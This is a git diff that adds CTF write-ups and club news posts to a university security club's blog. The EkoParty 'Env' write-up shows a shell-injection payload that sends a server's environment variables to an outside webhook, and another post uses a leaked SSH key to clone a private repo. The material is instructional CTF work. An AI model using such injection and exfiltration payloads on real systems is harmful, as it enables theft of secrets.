a/static/blog/defcon-qualifiers-2019-redacted-puzzle-5.jpg b/blog/defcon-qualifiers-2019-redacted-puzzle-5.jpg similarity index 100% rename from static/blog/defcon-qualifiers-2019-redacted-puzzle-5.jpg rename to blog/defcon-qualifiers-2019-redacted-puzzle-5.jpg diff --git a/static/blog/defcon-qualifiers-2019-redacted-puzzle-6.jpg b/blog/defcon-qualifiers-2019-redacted-puzzle-6.jpg similarity index 100% rename from static/blog/defcon-qualifiers-2019-redacted-puzzle-6.jpg rename to blog/defcon-qualifiers-2019-redacted-puzzle-6.jpg diff --git a/static/blog/defcon-qualifiers-2019-redacted-puzzle-7.jpg b/blog/defcon-qualifiers-2019-redacted-puzzle-7.jpg similarity index 100% rename from static/blog/defcon-qualifiers-2019-redacted-puzzle-7.jpg rename to blog/defcon-qualifiers-2019-redacted-puzzle-7.jpg diff --git a/static/blog/defcon-qualifiers-2019-redacted-puzzle-8.jpg b/blog/defcon-qualifiers-2019-redacted-puzzle-8.jpg similarity index 100% rename from static/blog/defcon-qualifiers-2019-redacted-puzzle-8.jpg rename to blog/defcon-qualifiers-2019-redacted-puzzle-8.jpg diff --git a/static/blog/defcon-qualifiers-2019-redacted-puzzle-9.jpg b/blog/defcon-qualifiers-2019-redacted-puzzle-9.jpg similarity index 100% rename from static/blog/defcon-qualifiers-2019-redacted-puzzle-9.jpg rename to blog/defcon-qualifiers-2019-redacted-puzzle-9.jpg diff --git a/blog/defcon-qualifiers-2019-redacted-puzzle/index.html b/blog/defcon-qualifiers-2019-redacted-puzzle/index.html new file mode 100644 index 0000000..0d92ed9 --- /dev/null +++ b/blog/defcon-qualifiers-2019-redacted-puzzle/index.html @@ -0,0 +1,45 @@ + +Codestin Search App

DefCon Qualifiers 2019 - redacted-puzzle

DefCon Qualifiers 2019 - redacted-puzzle

Lyell Read

Tags

The only file given is a GIF image, named redacted-puzzle.gif. We must first inspect it:

$ exiftool redacted-puzzle.gif
+ExifTool Version Number         : 10.80
+File Name                       : redacted-puzzle.gif
+Directory                       : .
+File Size                       : 78 kB
+File Modification Date/Time     : 2019:05:10 17:05:42-07:00
+File Access Date/Time           : 2019:05:10 17:05:42-07:00
+File Inode Change Date/Time     : 2019:05:10 17:26:26-07:00
+File Permissions                : rwxrwxrwx
+File Type                       : GIF
+File Type Extension             : gif
+MIME Type                       : image/gif
+GIF Version                     : 89a
+Image Width                     : 1280
+Image Height                    : 720
+Has Color Map                   : Yes
+Color Resolution Depth          : 3
+Bits Per Pixel                  : 2
+Background Color                : 3
+Animation Iterations            : Infinite
+Frame Count                     : 35
+Duration                        : 8.75 s
+Image Size                      : 1280x720
+Megapixels                      : 0.922
+

OK. We know that this is likely a GIF with 35 frames. Let’s try opening it:

Let’s gather some more information about this GIF:

$identify -verbose redacted-puzzle.gif
+
+ . . .
+
+  Colormap:
+         0: (  0,  0,  0,255) #000000FF graya(0,1)
+         1: (  0,  0,  0,255) #000000FF graya(0,1)
+         2: (  0,  0,  0,255) #000000FF graya(0,1)
+         3: (255,255,255,  0) #FFFFFF00 graya(255,0)
+
+ . . . 
+

That is a bit of a weird color map… Those should correspond with different colors. Let’s open this image in gimp. We use the Open as Layers option to get each frame as an individual layer.

Much layers. Next, we gotta fix that color mapping issue. Colors>Map>Set Color Map and choose Pallete>Ega:

Well, we know what the flag’s alphabet will be. Then, after looking at each slide . . .

We determined it best to remove the black backgrounds on each. One by one.

Now we can see them all overlapping. They form some sort of circle:

Let’s examine only a couple…

That is intresting. Going off a hunch, we decided to build sets of binary digits representing if the vertex of a frame was where one of the verticies of the overall ‘octagon’, using dots in the background:

As we repeated that for each layer, the shapes’ verticies started to ‘rotate’, or ‘drift’ (thus why when all overlayed, they formed a circle, not octagon). We decided to track the movment and adjust the background dots. We generated the ‘bytes’:

verticies = ['10001100', '01100011', '11100100', '01000110', 10000101', '00111101', '01000010', '10011000', '11100000', '11110100', '10000000', '00101101', '01110010', '00011100', '00001000', '10100101', '11010111', '01101110', '10100110', '10010001', '10111100', '10000100', '10000001', '10111001', '11010100', '00111011', '11001110', '11110010', '00011110', '10011101', '11001001', '11000111', '01100101', '00011110', '10011111']
+

Now comes the challenge of making sense of those. We know that the first three should be the same (which they arent) because flags start with OOO.... A pattern appears when you concattenate the first couple ‘bytes’:

100011000110001....
+

That looks to be three identical 5- bit numbers. Concattenating all of the verticies and splitting them by 5’s yields:

cintuplets = ['10001', '10001', '10001', '11110', '01000', '10001', '10100', '00101', '00111', '10101', '00001', '01001', '10001', '11000', '00111', '10100', '10000', '00000', '10110', '10111', '00100', '00111', '00000', '01000', '10100', '10111', '01011', '10110', '11101', '01001', '10100', '10001', '10111', '10010', '00010', '01000', '00011', '01110', '01110', '10100', '00111', '01111', '00111', '01111', '00100', '00111', '10100', '11101', '11001', '00111', '00011', '10110', '01010', '00111', '10100', '11111']
+

Those first couple convert to be 17 in decimal. Coincidentally, at index 17 of our alphabet is the letter ‘O’.

Note that in redacted-puzzle-solve.py we exclude the location that you started forming the bits for each byte of verticies from on the octagon.

OOO{FORCES-GOVERN+TUBE+FRUIT_GROUP=FALLREMEMBER_WEATHER}
+
\ No newline at end of file diff --git a/static/blog/doe-cyberforce-competition-2021-scoreboard.png b/blog/doe-cyberforce-competition-2021-scoreboard.png similarity index 100% rename from static/blog/doe-cyberforce-competition-2021-scoreboard.png rename to blog/doe-cyberforce-competition-2021-scoreboard.png diff --git a/static/blog/doe-cyberforce-competition-2021.jpg b/blog/doe-cyberforce-competition-2021.jpg similarity index 100% rename from static/blog/doe-cyberforce-competition-2021.jpg rename to blog/doe-cyberforce-competition-2021.jpg diff --git a/blog/doe-cyberforce-competition-2021/index.html b/blog/doe-cyberforce-competition-2021/index.html new file mode 100644 index 0000000..47aa6f2 --- /dev/null +++ b/blog/doe-cyberforce-competition-2021/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

DOE Cyberforce Competition 2021

DOE Cyberforce Competition 2021

Lyell Read

Tags

Cyberforce Competition logo

On Nov. 13, 2021, the OSUSEC Cyber Defense Competition (CDC) Team placed 1st place regionally and 7th nationwide in the Department of Energy’s annual Cyberforce Competition (https://cyberforcecompetition.com/) out of the 135 teams registered for the competition.

The team roster was:

  • Casey Colley (Captain)
  • Mike Carris
  • Robert Detjens
  • Brandon Ellis
  • Huy Nguyen
  • Lyell Read

The final scoreboard was as follows, if a link to an official final scoreboard is made available, I will link it here.

Screenshot of the scoreboard, showing Oregon State University in 7th place

We look forward to returning next year, even better prepared for the new competition format!

Well done team!!

\ No newline at end of file diff --git a/static/blog/ekopartyctf-docs.jpg b/blog/ekopartyctf-docs.jpg similarity index 100% rename from static/blog/ekopartyctf-docs.jpg rename to blog/ekopartyctf-docs.jpg diff --git a/blog/ekopartyctf-docs/index.html b/blog/ekopartyctf-docs/index.html new file mode 100644 index 0000000..9b20e47 --- /dev/null +++ b/blog/ekopartyctf-docs/index.html @@ -0,0 +1,9 @@ + +Codestin Search App

EkoPartyCTF - Docs

EkoPartyCTF - Docs

Lyell Read

Tags

EkoPartyCTF logo

EkoParty CTF 2020 Git 2

Prompt

Exact prompt has been forgotten. Linked to this GitHub repo

Solution

As I mentioned in the writeup for leak, I was in a very githubby mindset when I started this challenge. For that reason, I solved this challenge first.

A quick inspection of the repo shows that it features an accidentally committed SSH private key and matching public key. I copied the text of these out of the commit log, and into chall and chall.pub. Now I have ssh access, however what to?

The next part of this challenge involves the git actions for the repo, in .github/workflows/. In there we get an issue-bouncer.yml and corresponding issue-bouncer.py. Reading through these two, we notice something useful:

DST_REPO: 'ekoparty2020/ekoparty-internal'
+

The python script essentially moves an issue to that DST_REPO, so I figured why not try to clone it?

eval `ssh-agent` && ssh-add chall && git clone git@github.com:ekoparty2020/ekoparty-internal.git
+

Note: I had to modify permissions on the private key chall to get this to work.

This clones the internal repo, which conveniently features our flag in the root README.md

EKO{1ca688c86b0548d8f26675d85dd77d73c573ebb6}
+

~ Lyell Read

\ No newline at end of file diff --git a/static/blog/ekopartyctf-env.jpg b/blog/ekopartyctf-env.jpg similarity index 100% rename from static/blog/ekopartyctf-env.jpg rename to blog/ekopartyctf-env.jpg diff --git a/blog/ekopartyctf-env/index.html b/blog/ekopartyctf-env/index.html new file mode 100644 index 0000000..777408c --- /dev/null +++ b/blog/ekopartyctf-env/index.html @@ -0,0 +1,21 @@ + +Codestin Search App

EkoPartyCTF - Env

EkoPartyCTF - Env

Lyell Read

Tags

EkoPartyCTF logo

EkoParty CTF 2020 Git 3

Prompt

Not too sure of the original prompt, however I did not need it.

Solution

After the second part of the git challenge saga, we have gotten a new repository with some new github actions. We know, before analyzing these however, that:

  • Issues filed to the ekolabs repo will be ‘moved’ to the ekoparty-internal repo.
  • We control content in the submitted issues, and this is copied to the new issues in ekoparty-internal repo.

That’s good information. Now let’s examine the actions for this repo – we are provided an issue-notify.py and an issue-notify.yml. At first glance at the python script, we see two interesting things:

  • The script checks if 'very important' in title: before executing an os.system() call
  • The script runs our ‘user input’ (the body of the issue) in the call to os.system().

What can we do with this? If we put “very important” in the title, and we include a specific body, we can execute arbitrary commands using the call to os.system(). How so?

os.system('echo "%s" > /tmp/%s' % (body, notify_id))
+

This line is vulnerable, as the body of our issue is placed in it’s entirety in the place of the first %s, so if we were to enter ", this would become:

os.system('echo """ > /tmp/%s' % (body, notify_id))
+

Which would echo an empty string to /tmp/$notify_id. This will not do, however, so we need something more complicated to do the trick. Maybe something like sending body of "; sleep 10; echo " will do better, as it will turn into:

os.system('echo ""; sleep 10; echo "" > /tmp/%s' % (body, notify_id))
+

Note: I did not come up with this all in one shot, I had to prototype it. I did this with the test.py script.

This will execute the sleep 10 just fine. We have code execution now, we just need to find out what to do with it. The challenge name indicates the flag is likely stored in the environment variables so we know where to look, but how to extract this info from the server?

To determine what tools are available for use, I looked to issue-notify.yml:

    runs-on: ubuntu-latest
+    steps:
+      
+      ...
+
+      - name: Set up Python3
+        if: ${{ success() }}
+        uses: actions/setup-python@v1
+        with:
+        	python-version: "3.7"
+

We at least have a default installation of Python 3.7 to work with, that’s pretty good. To make use of that, we will need to have somewhere to send it, and that’s where a webhook tester, something that captures and displays (in this case) http requests sent to it. For this I used PipeDream. It provides you with a link to send requests to.

From there, it’s as easy as getting the environment variables os.environ, and sending them home to PipeDream with a little one-line bash / python script of sorts:

" && python3 -c "import requests; message = {'message': str(os.environ)}; r = requests.post('https://e756afb172e9b06dad06e8cfeff52a32.m.pipedream.net',data = message);" && echo "
+

That’s all there is to it: sending that returns envs to PipeDream, and it’s right in there.

EKO{b08bb4814d581e6a91b3501f8c63c7786fe624e1}
+

~ Lyell Read

\ No newline at end of file diff --git a/static/blog/ekopartyctf-leak.jpg b/blog/ekopartyctf-leak.jpg similarity index 100% rename from static/blog/ekopartyctf-leak.jpg rename to blog/ekopartyctf-leak.jpg diff --git a/blog/ekopartyctf-leak/index.html b/blog/ekopartyctf-leak/index.html new file mode 100644 index 0000000..b99695c --- /dev/null +++ b/blog/ekopartyctf-leak/index.html @@ -0,0 +1,33 @@ + +Codestin Search App

EkoPartyCTF - Leak

EkoPartyCTF - Leak

Lyell Read

Tags

EkoPartyCTF logo

EkoParty CTF 2020 Git 1

Prompt

Exact prompt has been forgotten. Linked to this GitHub repo

Solution

This solution was quite obscure, as I approached this challenge in a github mindset, not a ctf::misc one. In light of this, I solved the second challenge first 😛

When I got on to solving this one, it took me several runs through the full commit history of the repo before seeing this:

$ git log -p
+
+...
+
+commit c21dbf5185a4dbdb5b2bd2f3d1d3b266c3a2271e
+Author: Matías A. Ré Medina <aereal@gmail.com>
+Date:   Fri Sep 11 13:03:19 2020 -0400
+
+    oops
+
+...
+
+diff --git a/.ssh/id_rsa.pub b/.ssh/id_rsa.pub
+deleted file mode 100644
+index 3cf8765..0000000
+--- a/.ssh/id_rsa.pub
++++ /dev/null
+@@ -1 +0,0 @@
+-ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRKS8bh5B2ctUxrS0JsrlYmw/pJPOr7N3BRtdrdswXu7An
+oxohsNX7D6gPt5oHb3Map2XMSqj3ukDrBWgL/qfiCfU4g5Fc1J4QkedDTiDq2+YeanaLgKyPqrvrg+lZwOIhf
+NXSliaxKI+YqgEy+n8s4ZhPGQYbpPjxDW/2ubn7iz60G+Px7q6BVvmRZlHe2IWylmG1WagL3pHFsJ83UyfgyF
+dvPqYoDkjVK+/+E4IGXaKXwHst2sVC+6DEU1YF3jJXFqeunY+Q3/dgxWXIbF7qpYGGJusEziHzjPX7Kwk4t1a
+W+afbREt7aDchx7KM/hDP/CBOYntwVA5qOG9L2rr6hbTTVMIqQxn2WAXtcBgc4Od4kMNAQt/8cvFsciApJ6RS
+++FPIwx8gJJCe/OZYdRl19/Fv+j9xi7dIiET4SqCUPz3nionKvMjvPvrd/42P9xw+niY+3gJEtIZjMb66Let+
+GuUew68bjz2DRlJSOtSNzP/MspNtUa5bY/4bmUMAHc= ekoparty-deploy@RUtPezc0NGFkN2ZlOGU2Y2U1Z
+Tg4NWFkMjRlZWYyNDNiMWZkMTFkMGZiN2V9
+

That computer hostname does not look normal at all… Let’s use Cyber Chef to turn that into ASCII

EKO{744ad7fe8e6ce5e885ad24eef243b1fd11d0fb7e}
+

~ Lyell Read

\ No newline at end of file diff --git a/blog/electronic_frontier_alliance.jpg b/blog/electronic_frontier_alliance.jpg new file mode 100644 index 0000000..457ddb9 Binary files /dev/null and b/blog/electronic_frontier_alliance.jpg differ diff --git a/blog/electronic_frontier_alliance/index.html b/blog/electronic_frontier_alliance/index.html new file mode 100644 index 0000000..a10f382 --- /dev/null +++ b/blog/electronic_frontier_alliance/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Electronic Frontier Alliance

Electronic Frontier Alliance

Casey Colley

Tags

The EFF logo printed on an illustrated lighthouse in a background of blue.

As OSUSEC moves into 2024 and beyond, we are taking a closer look at how our actions shape the world around us. Because of this, we are choosing to endorse the Electronic Frontier Alliance’s five core principles:

  1. Free Expression
  2. Security
  3. Privacy
  4. Creativity
  5. Access to Knowledge

We believe that advances in technology, and specifically cybersecurity, can be a critical tool in making people’s lives better. But in equal measure, it can be a tool to stifle the human spirit. By following these principles, we want to ensure that our work has a positive impact on the world.

\ No newline at end of file diff --git a/static/blog/fireshellctf-against-the-perfect-discord-inquisitor-1-and-2.jpg b/blog/fireshellctf-against-the-perfect-discord-inquisitor-1-and-2.jpg similarity index 100% rename from static/blog/fireshellctf-against-the-perfect-discord-inquisitor-1-and-2.jpg rename to blog/fireshellctf-against-the-perfect-discord-inquisitor-1-and-2.jpg diff --git a/blog/fireshellctf-against-the-perfect-discord-inquisitor-1-and-2/index.html b/blog/fireshellctf-against-the-perfect-discord-inquisitor-1-and-2/index.html new file mode 100644 index 0000000..c30f486 --- /dev/null +++ b/blog/fireshellctf-against-the-perfect-discord-inquisitor-1-and-2/index.html @@ -0,0 +1,18 @@ + +Codestin Search App

FireshellCTF Against the Perfect discord Inquisitor 1 and 2

FireshellCTF Against the Perfect discord Inquisitor 1 and 2

Lyell Read

Tags

The Fireshell Security Team's banner, featuring their website URL

Prompt 1

You’re on a journey and come to the Tavern of a Kingdom Enemy, you need to get information of a secret organization for the next quest. Be careful about the Inquisitor! He can ban you from this world.

TL;DR find the flag

Kingdom Chall

HINT: Title/Chall name

Prompt 2

There is a mage in the tavern that reveals secrets from the place. He is friendly, so he can help you! Be careful about the Inquisitor! He can ban you from this world.

TL;DR use the bot to get the flag

Kingdom Chall

Solution 1

Starting out, we clicked the link to Kingdom Chall, and joined the discord. There, we identified a long stream of other people joining, as well as a bot account named Gandalf. Gandalf‘s status reads:

You’re welcome~ Free reveals with command: $reveal_secret (channel.id) (message.id)
+

Obviously, we need to test this:

lyellread
+$reveal_secret 688190172793536545 691089964401819759
+Gandalf [BOT]
+@everyone say hello to @Gandalf !
+

Great! Looks like Gandalf will be our oracle for any messages that we have ID’s for but cannot read ourselves. What’s next?

Someone had a plugin enabled that saw there was a hidden channel on the Discord, with ID 688190289814618213, with name hidden-round-table. We would have found this in our API search below, but this helped refine where we were headed wiht Gandalf and the API.

Now onto that hint: The challenge name is “Against the Perfect discord Inquisitor” – that makes acronym “API”… I know where this is going. We need to make some API request to get some information.

After quite a bit of looking (Discord, your docs suck big time!!), we came up with this script which will make a GET request to the API. We needed a token, too, and thankfully, GitHub user Tyrrrz provides this guide to getting tokens and channel (and message and guild) ID’s. Now we can work with that. We tried:

  • /api/v6/channel/688190172793536545/messages: returns all the messages – nothing new, as we can read all messages in that channel.
  • /api/v6/channel/688190289814618213/messages: returns not authorized to view messages in hidden channel – no suprise there.
  • /api/v6/guilds/688190172793536536: returns much of what we already knew about this guild
  • /api/v6/guilds/688190172793536536/channels:
[{"id": "688190172793536539", "type": 4, "name": "Kingdom", "position": 0, "parent_id": null, "guild_id": "688190172793536536", "permission_overwrites": [], "nsfw": false}, {"id": "688190172793536545", "last_message_id": "691368465201758319", "type": 0, "name": "tavern", "position": 0, "parent_id": "688190172793536539", "topic": "A place of business where people gather to drink alcoholic beverages and be served food, and in most cases, where travelers receive lodging.", "guild_id": "688190172793536536", "permission_overwrites": [{"id": "688190172793536536", "type": "role", "allow": 0, "deny": 2048}], "nsfw": false, "rate_limit_per_user": 0}, 
+
+{"id": "688190289814618213", "last_message_id": "688214063595258088", "type": 0, "name": "hidden-round-table", "position": 1, "parent_id": "688190172793536539", "topic": "F#{The_Table_of_King_Arthur}", "guild_id": "688190172793536536", "permission_overwrites": [{"id": "688190172793536536", "type": "role", "allow": 0, "deny": 3072}, {"id": "688190424124227590", "type": "role", "allow": 3072, "deny": 0}], "nsfw": false, "rate_limit_per_user": 0}]
+

That’s the first flag! F#{The_Table_of_King_Arthur} – the description of #hidden_round_table! Now onto the next one…

Solution 2

We have not even used Gandalf yet, so we will need to. The output above tells us something interesting (and exactly what we need to use Gandalf) – the last message id in #hidden_round_table: 688214063595258088. Now we can ask our “Mage” Gandalf about this:

lyellread
+$reveal_secret 688190289814618213 688214063595258088
+Gandalf [BOT] 
+RiN7UzRiM1JfMTVfVGgzX0sxbmdfQXJ0aHVyfQ==
+

That looks like base64… One sec, we can fix that, and we get F#{S4b3R_15_Th3_K1ng_Arthur}!

Thank you Fireshell Team and @K4L1!!

~Lyell Read, Phillip Mestas, Robert Detjens

\ No newline at end of file diff --git a/static/blog/fword-ctf-identity-fraud-failed-google.png b/blog/fword-ctf-identity-fraud-failed-google.png similarity index 100% rename from static/blog/fword-ctf-identity-fraud-failed-google.png rename to blog/fword-ctf-identity-fraud-failed-google.png diff --git a/static/blog/fword-ctf-identity-fraud-google-hilton.png b/blog/fword-ctf-identity-fraud-google-hilton.png similarity index 100% rename from static/blog/fword-ctf-identity-fraud-google-hilton.png rename to blog/fword-ctf-identity-fraud-google-hilton.png diff --git a/static/blog/fword-ctf-identity-fraud-hilton.jpg b/blog/fword-ctf-identity-fraud-hilton.jpg similarity index 100% rename from static/blog/fword-ctf-identity-fraud-hilton.jpg rename to blog/fword-ctf-identity-fraud-hilton.jpg diff --git a/static/blog/fword-ctf-identity-fraud-instagram-highlight.png b/blog/fword-ctf-identity-fraud-instagram-highlight.png similarity index 100% rename from static/blog/fword-ctf-identity-fraud-instagram-highlight.png rename to blog/fword-ctf-identity-fraud-instagram-highlight.png diff --git a/static/blog/fword-ctf-identity-fraud-pfp-big.jpg b/blog/fword-ctf-identity-fraud-pfp-big.jpg similarity index 100% rename from static/blog/fword-ctf-identity-fraud-pfp-big.jpg rename to blog/fword-ctf-identity-fraud-pfp-big.jpg diff --git a/static/blog/fword-ctf-identity-fraud-pfp-small.jpg b/blog/fword-ctf-identity-fraud-pfp-small.jpg similarity index 100% rename from static/blog/fword-ctf-identity-fraud-pfp-small.jpg rename to blog/fword-ctf-identity-fraud-pfp-small.jpg diff --git a/static/blog/fword-ctf-identity-fraud-tripadvisor-account.png b/blog/fword-ctf-identity-fraud-tripadvisor-account.png similarity index 100% rename from static/blog/fword-ctf-identity-fraud-tripadvisor-account.png rename to blog/fword-ctf-identity-fraud-tripadvisor-account.png diff --git a/static/blog/fword-ctf-identity-fraud-tripadvisor-review.png b/blog/fword-ctf-identity-fraud-tripadvisor-review.png similarity index 100% rename from static/blog/fword-ctf-identity-fraud-tripadvisor-review.png rename to blog/fword-ctf-identity-fraud-tripadvisor-review.png diff --git a/static/blog/fword-ctf-identity-fraud-tweet.jpg b/blog/fword-ctf-identity-fraud-tweet.jpg similarity index 100% rename from static/blog/fword-ctf-identity-fraud-tweet.jpg rename to blog/fword-ctf-identity-fraud-tweet.jpg diff --git a/static/blog/fword-ctf-identity-fraud.jpg b/blog/fword-ctf-identity-fraud.jpg similarity index 100% rename from static/blog/fword-ctf-identity-fraud.jpg rename to blog/fword-ctf-identity-fraud.jpg diff --git a/blog/fword-ctf-identity-fraud/index.html b/blog/fword-ctf-identity-fraud/index.html new file mode 100644 index 0000000..84ffcd9 --- /dev/null +++ b/blog/fword-ctf-identity-fraud/index.html @@ -0,0 +1,16 @@ + +Codestin Search App

Fword CTF - Identity Fraud

Fword CTF - Identity Fraud

Lyell Read

Tags

Fword CTF logo

Points: 419 Solves: 86 Category: OSINT

Prompt

Someone stole our logo and created a team named “Eword”. In order to find him, I created a fake twitter account (@1337bloggs) to join Eword team. Fortunately, they replied to the fake account and gave me a task to solve. So, if I solve it, they will accept me as a team member. … Can you help me in solving the task?

Flag Format: Eword{}

Solution

We start at the twitter page of the account mentioned in the challenge description: @1337bloggs, and we are greeted with this tweet:

Screenshot of tweet advertising needing a final CTF player for a team

This indicates that at some point (around 8/26/2020), Eword had something on their CTFTime page. Over to the Wayback Machine! It shows two captures in 2020, 08/26 and 08/27. Let’s view the 08/26 capture – it appears to link to a PasteBin:

This pastebin reads:

Hi Fred,
+ 
+You said that you are good in OSINT. So, you need to prove your skills to join Eword.
+ 
+Your task:
+Find the leader of Eword, then find the flag in one of his social media accounts.
+ 
+Hint:
+https://pastebin.com/PZvaSjA0
+

Clearly we have to find the leader of Eword (we’ll get to that in a second), but we inspect this new pastebin first. It contains a bunch of what looks to be base64 data, so we put it into cyberchef and get this image out:

Picture of Hilton hotel with text around it.

It shows us a Hilton hotel somewhere, and the size of the image is 1080X2094 – an unfamiliar resolution to me, so I googled it up, and it appears that this is a resolution used by Instagram. I also tried using Google Image reverse search to locate the hotel, however I was unsuccessful there, too, not that it would have helped too much.

Note: if Instagram stories were indexed in a reverse image search engine like Google reverse image search, or TinEye, you would be able to jump to the end of the challenge using this information (instagram, photo), however I tried this and could not get success at the time.

So we are looking for something that has to do with a Hilton and Eword Team, let’s use Google: when we search for "Hilton" "Eword" "team", we are greeted with a review for a Hilton in Podgorica, Montenegro:

Screenshot of Google result that is a TripAdvisor review of the hotel

Clicking that link gives us a tripadvisor page where we can search for that review with Ctrl + F.

Screenshot of a TripAdvisor review about the hotel

Looking further into that user, it’s clear what we have to do:

Screenshot of the TripAdvisor accounc that wrote the review

We need to check the instagram of Wokaihwokomas Kustermann, which will likely be under the name he has in the Intro section, wokaihwokomaskustermann. Notably, you cannot just search for the username in google:

Screenshot of google returning no results upon searching for the Instagram username

Instead, you will need to go to log in to instagram first, then search for the username, and the account indeed shows up. There are a couple “Highlights”, the first of which is the hotel image we got earlier, the second says:

Screenshot of an Instagram highlight

Well, that seems indicative that we need to get the original image behind the circular profile pic (the other picture on their instagram is not the same as their profile pic), and we do that with a bit of inspect element and a wget request to save it:

Photo of a man smiling at the camera with text at the bottom

There’s very obviously a flag along the bottom (or some other writing), however it is too low res to read. Instead of figuring out how to make a properly formed request to Instagram’s cdn servers, I used a tool called instadp to get a full sized display picture:

Photo of a man smiling at the camera with text at the bottom, the text now large enough to be legible

That’s all there is to it!

Eword{c0ngraAatulationZzZz_aNd_w3lCom3_to_Eword_Team_!}
+

~Lyell Read

\ No newline at end of file diff --git a/static/blog/hitcon-ctf-2018-ctfd.png b/blog/hitcon-ctf-2018-ctfd.png similarity index 100% rename from static/blog/hitcon-ctf-2018-ctfd.png rename to blog/hitcon-ctf-2018-ctfd.png diff --git a/blog/hitcon-ctf-2018-ev3-basic/index.html b/blog/hitcon-ctf-2018-ev3-basic/index.html new file mode 100644 index 0000000..e388be8 --- /dev/null +++ b/blog/hitcon-ctf-2018-ev3-basic/index.html @@ -0,0 +1,23 @@ + +Codestin Search App

HITCON CTF 2018 EV3 Basic

HITCON CTF 2018 EV3 Basic

Zander Work

Tags

Link to Github

Screenshot of a CTFd challenge called EV3 Basic with a TAR archive to download.

Even though this was a pretty simple challenge, I really enjoyed it and wanted to do a write-up for it anyways.

EV3 is the latest generation of the LEGO Mindstorms robots, and thanks to this challenge I know a lot more about the Mindstorms Communication and Firmware Developer Kits than I ever thought I would.

The challenge includes two files: A picture of the screen of the robot, and a .pklg file, which turned out to be a Bluetooth HCI Log.

Photo of a LEGO Mindstorms EV3, displaying a screen of a challenge flag with most of the characters missing

Based on the photo, it was pretty easy to figure out that we needed to get some data out of the Bluetooth log to identify the missing characters.

After opening the log in Wireshark and doing some display filtering, we can see a conversation between “localhost” (turned out to be a Macbook Pro) and the EV3.

Screenshot of many lines of Bluetooth dialog in Wireshark

Looking at the data revealed a pretty simple conversation. The MacBook would send a command, and the EV3 would acknowledge it.

Screenshot of Wireguard, showing a command sent from the laptop to the EV3

Screenshot of Wireguard, showing an acknowledgement sent from the EV3 to the laptop

The responses from the EV3 were constant, so I didn’t spend time analyzing those and solely worked on data being sent by the MacBook.

Thanks to some nice Google searches, I found two developer docs from LEGO: the Communication Developer Kit and the Firmware Development Kit. These documents made analyzing the data much easier.

Here is the data for one packet sent by the MacBook:

12 00 2a 00 00 00 00 84 05 01 81 5a 81 28 84 31 00 84 00 80
+                      |  |  |  |  |  |  |  |  |  |
+                      |  |  |  |  |  |  |  |  =====> string (1)
+                      |  |  |  |  |  |  |  |
+                      |  |  |  |  |  |  ===========> y coord
+                      |  |  |  |  |  |
+                      |  |  |  ====================> x coord
+                      |  |  |
+                      |  |  =======================> color
+                      |  |
+                      |  ==========================> command (TEXT)
+                      |
+                      =============================> opcode (opUI_DRAW)
+
+(the first few bytes are length, sequence number, and local/global variable declaration, and aren't important for this challenge)
+

This command would write the character “1” at (0x5a, 0x28).

You’ll notice that there are three bytes for the x coord, and two bytes for the y coord. Turns out, there are some inconsistencies with the documentation and the Bluetooth log for how big the coordinates are supposed to be (or there is other data being put in there that isn’t consistent/documented). The log has packets with data sizes of 19, 20, and 21 bytes (the example above is 20 bytes). Here’s what I figured out for parsing data on the various length packets:

  • If there are 19 bytes of data, the x coord is at the 10th byte (starting with 0 on the left), and the y coord is at the 12th byte.
  • If there are 20 bytes of data, the x coord is somewhere in the 10th-12th byte, and whichever byte is lower than 0x80 is the correct byte. The y coord is constant at the 13th byte.
  • If there are 21 bytes of data, the x coord is at the 11th byte, the y coord is somewhere between the 14th-17th byte, and whichever byte is lower than 0x80 is the correct byte.

With that information at hand, I wrote a Python script to analyze the data (exported as JSON from Wireshark) and output the flag:

$ ./solve.py
+hitcon{m1nd5t0rm_communication_and_firmware_developer_kit}
+

Here is a link to my folder on GitHub where I have the files for the challenge and my script to get the flag.

\ No newline at end of file diff --git a/static/blog/hitcon-ctf-2018-ev3.jpg b/blog/hitcon-ctf-2018-ev3.jpg similarity index 100% rename from static/blog/hitcon-ctf-2018-ev3.jpg rename to blog/hitcon-ctf-2018-ev3.jpg diff --git a/static/blog/hitcon-ctf-2018-wireshark.png b/blog/hitcon-ctf-2018-wireshark.png similarity index 100% rename from static/blog/hitcon-ctf-2018-wireshark.png rename to blog/hitcon-ctf-2018-wireshark.png diff --git a/static/blog/hitcon-ctf-2018-wireshark1.png b/blog/hitcon-ctf-2018-wireshark1.png similarity index 100% rename from static/blog/hitcon-ctf-2018-wireshark1.png rename to blog/hitcon-ctf-2018-wireshark1.png diff --git a/static/blog/hitcon-ctf-2018-wireshark2.png b/blog/hitcon-ctf-2018-wireshark2.png similarity index 100% rename from static/blog/hitcon-ctf-2018-wireshark2.png rename to blog/hitcon-ctf-2018-wireshark2.png diff --git a/static/blog/houseplantctf-catography-writeup-flightpath.jpg b/blog/houseplantctf-catography-writeup-flightpath.jpg similarity index 100% rename from static/blog/houseplantctf-catography-writeup-flightpath.jpg rename to blog/houseplantctf-catography-writeup-flightpath.jpg diff --git a/static/blog/houseplantctf-catography-writeup.jpg b/blog/houseplantctf-catography-writeup.jpg similarity index 100% rename from static/blog/houseplantctf-catography-writeup.jpg rename to blog/houseplantctf-catography-writeup.jpg diff --git a/blog/houseplantctf-catography-writeup/index.html b/blog/houseplantctf-catography-writeup/index.html new file mode 100644 index 0000000..13eb02b --- /dev/null +++ b/blog/houseplantctf-catography-writeup/index.html @@ -0,0 +1,34 @@ + +Codestin Search App

HouseplantCTF - Catography Writeup

HouseplantCTF - Catography Writeup

Lyell Read

Tags

Houseplant CTF logo

Prompt

Jubie’s released her own collection of cat pictures. Go check it out!

http://challs.houseplant.riceteacatpanda.wtf:30002

Note: The Unsplash author credit is not a part of the challenge, it’s only there to conform with the Unsplash image license.

Dev: jammy

Solution

Browsing the site, we can see that it is a collection of cat images… A lot of them. From inspecting the sources, we can see that these images are pulled from an API at http://challs.houseplant.riceteacatpanda.wtf:30002/api. There are 83 ‘pages’.

We then used this script to grab all image ID’s, then get all images based on those ID’s. These images are stored here: all_cats.tar.gz.

Upon further examination of those cat photos, exiftool returns some interesting info about each file:

$ exiftool 002c3599-572f-4d23-8fd2-3eb8b3073ab5.jpg
+ExifTool Version Number         : 11.65
+File Name                       : 002c3599-572f-4d23-8fd2-3eb8b3073ab5.jpg
+Directory                       : .
+File Size                       : 136 kB
+File Modification Date/Time     : 2020:04:26 02:59:52-07:00
